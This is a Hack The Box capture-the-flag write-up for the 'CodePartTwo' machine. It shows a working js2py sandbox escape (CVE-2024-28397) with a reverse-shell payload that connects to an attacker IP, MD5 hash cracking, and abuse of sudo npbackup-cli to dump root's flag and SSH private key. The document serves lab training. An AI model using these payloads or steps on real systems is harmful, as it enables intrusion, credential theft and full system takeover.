> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CodePartTwo (Easy) - HTB

> Linux | Released on 16th August, 2025 | Created by FisMatHack

## Starting the box

<img src="https://mintcdn.com/hackwithmike/29i7vmPeusCjsorb/assets/images/htb/codeparttwo/pwned.png?fit=max&auto=format&n=29i7vmPeusCjsorb&q=85&s=8600d04b59f91ecc685117813b6e95a5" noZoom width="1005" height="961" data-path="assets/images/htb/codeparttwo/pwned.png" />

Link to the box: [https://app.hackthebox.com/machines/CodePartTwo](https://app.hackthebox.com/machines/CodePartTwo)

### Port Scan

We start off the box by running a port scan on the provided IP.

```sh title="Attacker Linux" icon="linux" wrap theme={null}
rustscan --ulimit 5000 -a 10.10.11.82 -r 1-65535 -- -A -vvv -oN CodePartTwo
```

Output of Rustscan:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Open 10.10.11.82:22
Open 10.10.11.82:8000
```

Output of Nmap:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
|   256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM

8000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
```

A few key notes:

* Port 22 (SSH) is open. Running `OpenSSH 8.2p1` — we'll keep this in mind for later.
* Port 8000 (HTTP) is open, served by `Gunicorn 20.0.4` — a Python WSGI HTTP server.
* OS is Linux (Ubuntu).

### Edit the Hosts file

We don't see any redirect in the Nmap output, so we'll skip the hosts file for now. If we discover a hostname later during enumeration, we'll add it then.

## Initial Foothold

### Enumerating Port 22: SSH

While there could be vulnerabilities in `OpenSSH 8.2p1`, it is rarely the intended attack vector in HTB settings. Without credentials, SSH isn't useful right now. Let's focus on the web server.

### Enumerating Port 8000: Web Server

#### Manual Enumeration

Let's browse to the web application at `http://10.10.11.82:8000`:

* The landing page shows "Welcome to CodePartTwo" — a simple web interface.
* There's a login page and registration functionality.
* After registering an account and logging in, we reach a dashboard.

The dashboard mentions something about running code snippets. Let's keep exploring to understand what this application does.

#### Directory Busting

Let's run directory enumeration to find hidden endpoints:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
feroxbuster -u http://10.10.11.82:8000 -C 404
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
200      GET       28l       60w      857c http://10.10.11.82:8000/login
200      GET       33l       65w      952c http://10.10.11.82:8000/register
302      GET        5l       22w      189c http://10.10.11.82:8000/logout
200      GET      161l      472w     5442c http://10.10.11.82:8000/
302      GET        5l       22w      199c http://10.10.11.82:8000/dashboard
200      GET        -         -         - http://10.10.11.82:8000/download
```

* We found a `/download` endpoint — let's check it out.

Accessing `http://10.10.11.82:8000/download` triggers a file download: `app.zip`.

* This appears to be the application source code.
* Let's unzip and review it.

#### Reviewing the Source Code

After extracting `app.zip`, we find the Flask application source code. The main file is `app.py`.

**Key findings in `app.py`:**

Flask secret key:

```text title="app.py" icon="file-lines" wrap theme={null}
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
```

* This could be useful for session manipulation if needed.

Hidden endpoint:

```python title="app.py" icon="python" wrap theme={null}
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})
```

* There's a `/run_code` endpoint that accepts JavaScript code via POST request.
* It uses `js2py.eval_js()` to evaluate the JavaScript code server-side.
* This is a potential Remote Code Execution (RCE) vector.

### Exploiting js2py RCE (CVE-2024-28397)

The application uses `js2py` to evaluate JavaScript code. A quick search reveals **CVE-2024-28397** — a sandbox escape vulnerability in `js2py` that allows arbitrary Python code execution.

Reference:

* [Marven11/CVE-2024-28397-js2py-Sandbox-Escape](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape)

#### Testing the Endpoint

Let's first verify the endpoint works without authentication:

```text title="HTTP Request" icon="file-lines" wrap theme={null}
POST /run_code HTTP/1.1
Host: 10.10.11.82:8000
Content-Type: application/json
Content-Length: 20

{"code": "1+1"}
```

```text title="HTTP Response" icon="file-lines" wrap theme={null}
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Content-Type: application/json
Content-Length: 15

{"result": 2}
```

* Nice! The endpoint is accessible and evaluates our JavaScript code.

#### Building the Exploit

The CVE-2024-28397 exploit uses JavaScript prototype pollution to escape the sandbox and access Python's subprocess module. Here's the exploit payload structure:

```javascript theme={null}
let cmd = "command_to_execute"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
```

This payload:

1. Accesses Python's object model through JavaScript prototype chain
2. Traverses Python's class hierarchy to find the `subprocess.Popen` class
3. Executes a shell command using `Popen`

#### Getting a Reverse Shell

Let's set up a listener and send a reverse shell payload:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
nc -nlvp 443
```

Now we send the exploit with a reverse shell command:

```text title="HTTP Request" icon="file-lines" wrap theme={null}
POST /run_code HTTP/1.1
Host: 10.10.11.82:8000
Content-Type: application/json
Content-Length: 757

{"code":"let cmd = \"busybox nc 10.10.14.13 443 -e /bin/bash \"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nn11"}
```

We successfully receive a reverse shell:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.82] 45678
```

```bash title="Victim Linux" icon="linux" wrap theme={null}
whoami
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
app
```

* We have a shell as the `app` user.

### Post-Initial Enumeration (as `app`)

#### Finding Credentials in the Database

Let's check the Flask application directory for the user database:

```bash title="Victim Linux" icon="linux" wrap theme={null}
cd /home/app/app
ls -la
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
drwxr-xr-x 4 app  app   4096 Jun 18 11:16 .
drwxr-xr-x 3 app  app   4096 Apr  6 03:50 ..
-rw-r--r-- 1 app  app   1234 Jun 18 11:16 app.py
drwxr-xr-x 2 app  app   4096 Jun 18 11:16 templates
drwxr-xr-x 2 app  app   4096 Jun 18 11:16 instance
```

The `instance` directory typically contains the SQLite database:

```bash title="Victim Linux" icon="linux" wrap theme={null}
cd instance
sqlite3 users.db
```

```text title="SQLite Console" icon="file-lines" wrap theme={null}
sqlite> .tables
user
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
```

* We found two users: `marco` and `app`.
* Both have MD5 password hashes.

Let's check `/etc/passwd` to see which users have shell access:

```bash title="Victim Linux" icon="linux" wrap theme={null}
cat /etc/passwd | grep -E "(marco|app)"
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash
```

* Both users have valid shell accounts.
* Let's focus on `marco` as they're likely the primary user.

#### Cracking the Hashes

Let's crack `marco`'s MD5 hash using hashcat:

```bash title="Attacker Linux" icon="linux" wrap theme={null}
echo "649c9d65a206a75f5abe509fe128bce5" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove
```

Credentials:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
marco:sweetangelbabylove
```

### Logging in as marco

Let's use SSH to get a proper shell as `marco`:

```bash title="Attacker Linux" icon="linux" wrap theme={null}
ssh marco@10.10.11.82
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
marco@codeparttwo:~$ cat user.txt
54e94cff6a20dbb93844ad2e0a8ca4ad
```

* User flag: `54e94cff6a20dbb93844ad2e0a8ca4ad`.

## Privilege Escalation

### Post-ex Enumeration

Let's list the contents of marco's home directory:

```bash title="Victim Linux" icon="linux" wrap theme={null}
ls -la
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
total 48
drwxr-x--- 3 marco marco 4096 Sep 25 10:00 .
drwxr-xr-x 4 root  root  4096 Apr  6 03:50 ..
-rw-r--r-- 1 marco marco  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 marco marco 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 marco marco  807 Feb 25  2020 .profile
drwx------ 7 root  root  4096 Apr  6 03:50 backups
-rw-rw-r-- 1 root  root  2893 Jun 18 11:16 npbackup.conf
-rw-r----- 1 root  marco   33 Sep 24 18:03 user.txt
```

A few interesting findings:

* `backups/` directory owned by `root` with restricted permissions.
* `npbackup.conf` configuration file owned by `root` but world-readable.
* This looks like a backup tool setup — potentially a cronjob or service running as `root`.

Let's check our sudo privileges:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo -l
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
```

* Interesting! We can run `/usr/local/bin/npbackup-cli` as root without a password.

### Abusing npbackup-cli for Privileged File Read

Let's explore the intended privilege escalation path using the `npbackup-cli` binary.

#### Understanding npbackup

First, let's try running `npbackup-cli`:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo /usr/local/bin/npbackup-cli
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
2025-09-25 10:26:28,729 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-09-25 10:26:28,729 :: CRITICAL :: Cannot run without configuration file.
2025-09-25 10:26:28,734 :: INFO :: ExecTime = 0:00:00.006151, finished, state is: critical.
```

* It requires a configuration file to run.
* We already have one in marco's home directory: `npbackup.conf`.

#### Reviewing the Configuration File

Let's examine the existing configuration:

```bash title="Victim Linux" icon="linux" wrap theme={null}
cat npbackup.conf
```

The configuration file contains encrypted repository URI and password, plus backup settings:

```text title="npbackup.conf snippet" icon="file-lines" wrap theme={null}
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    backup_opts:
      paths:
      - /home/app/app/
```

* The default configuration backs up `/home/app/app/` to the repository.

#### Testing with the Default Configuration

Let's run a backup with the existing configuration:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo /usr/local/bin/npbackup-cli --backup -c ./npbackup.conf
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
2025-09-25 10:29:47,502 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-09-25 10:29:47,521 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-09-25 10:29:49,143 :: INFO :: Running backup of ['/home/app/app/'] to repo default
...
snapshot d27e08c6 saved
```

* The backup runs successfully as `root`.
* Since it runs as root, we can modify the configuration to back up privileged directories.

#### Backing Up /root

Let's create our own configuration file to back up `/root`:

```bash title="Victim Linux" icon="linux" wrap theme={null}
cp npbackup.conf /tmp/np.conf
nano /tmp/np.conf
```

We modify the `paths` section:

```yaml theme={null}
backup_opts:
  paths:
  - /root
```

Now let's run a backup of `/root`:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo /usr/local/bin/npbackup-cli --backup -c /tmp/np.conf
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
2025-09-25 10:35:30 :: INFO :: Running backup of ['/root'] to repo default
...
snapshot 844bc0a9 saved
```

* Successfully backed up `/root`.

#### Listing Snapshots

Let's verify our snapshot was created:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf -s
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
ID        Time                 Host         Tags        Paths          Size
----------------------------------------------------------------------------------
35a4dac3  2025-04-06 03:50:16  codetwo                  /home/app/app  48.295 KiB
844bc0a9  2025-09-25 10:35:30  codeparttwo              /root          197.660 KiB
----------------------------------------------------------------------------------
2 snapshots
```

* Our `/root` snapshot is ID `844bc0a9`.

#### Dumping Files from the Snapshot

The `--dump` option allows us to extract files from snapshots. Let's dump the root flag:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf --dump /root/root.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
46e970d8ddc27f5723b1ceb158d3755c
```

* Root flag: `46e970d8ddc27f5723b1ceb158d3755c`.

#### Listing Root Directory Contents

We can also list all files in the snapshot to find more interesting targets:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf --ls
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
snapshot 844bc0a9 of [/root] at 2025-09-25 10:35:30.620479975 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/root.txt
/root/scripts
```

* We can see root's SSH private key is available: `/root/.ssh/id_rsa`.

#### Extracting Root's SSH Key

Let's dump the SSH private key for persistence:

```bash title="Victim Linux" icon="linux" wrap theme={null}
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf --dump /root/.ssh/id_rsa > /tmp/root_key
cat /tmp/root_key
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA9apNjja2/vuDV4aaVheXnLbCe7dJBI/l4Lhc0nQA5F9wGFxkvIEy
VXRep4N+ujxYKVfcT3HZYR6PsqXkOrIb99zwr1GkEeAIPdz7ON0pwEYFxsHHnBr+rPAp9d
...
-----END OPENSSH PRIVATE KEY-----
```

Now we can SSH in as root:

```bash title="Attacker Linux" icon="linux" wrap theme={null}
chmod 600 root_key
ssh root@10.10.11.82 -i root_key
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
root@codeparttwo:~# whoami
root
```

* We now have a root shell via SSH.

## Learning

#### 1. js2py Sandbox Escape (CVE-2024-28397)

The `js2py` library allows Python applications to execute JavaScript code. CVE-2024-28397 is a sandbox escape vulnerability that allows attackers to access Python's object model through JavaScript's prototype chain. By traversing Python's class hierarchy (`__class__.__base__.__subclasses__()`), we can find and execute the `subprocess.Popen` class to run arbitrary shell commands. Applications should never execute untrusted JavaScript code using `js2py`, especially in versions prior to the security patch.

#### 2. Blind RCE Detection with Reverse Shells

When testing for RCE vulnerabilities, you don't always get immediate feedback. If you suspect a blind RCE exists (commands execute but no output is returned), immediately try a reverse shell connection back to your machine instead of trying to debug command execution in place. Use `busybox nc` or other available tools on the target to establish the connection.

#### 3. Credential Hunting in Application Databases

Web applications often store user credentials in local SQLite databases. After gaining initial access, always check for:

* Application directories (`/home/app/app/`, `/var/www/`, etc.)
* Instance or data folders containing `.db` files
* Weak password hashes (MD5, SHA1) that can be quickly cracked with hashcat and rockyou.txt

#### 4. Abusing Backup Tools for Privileged File Read

Backup utilities that run as `root` can be abused to read any file on the system. When you have sudo access to a backup tool like `npbackup-cli`, `restic`, or similar:

1. Create a custom configuration file pointing to the target directory (e.g., `/root`)
2. Run a backup as root using the custom configuration
3. Use the tool's restore/dump functionality to extract specific files from the snapshot
   This technique works even if you can't directly read the files due to permission restrictions.

## Tags

### Initial Access

\#Web\_Exploit #Python #js2py #CVE-2024-28397 #Sandbox\_Escape #RCE #Source\_Code\_Review #Credentials\_Hunting #Hash\_Cracking

### Privilege Escalation

\#Sudo #Backup\_Abuse #Privileged\_File\_Read #npbackup #SSH\_Keys
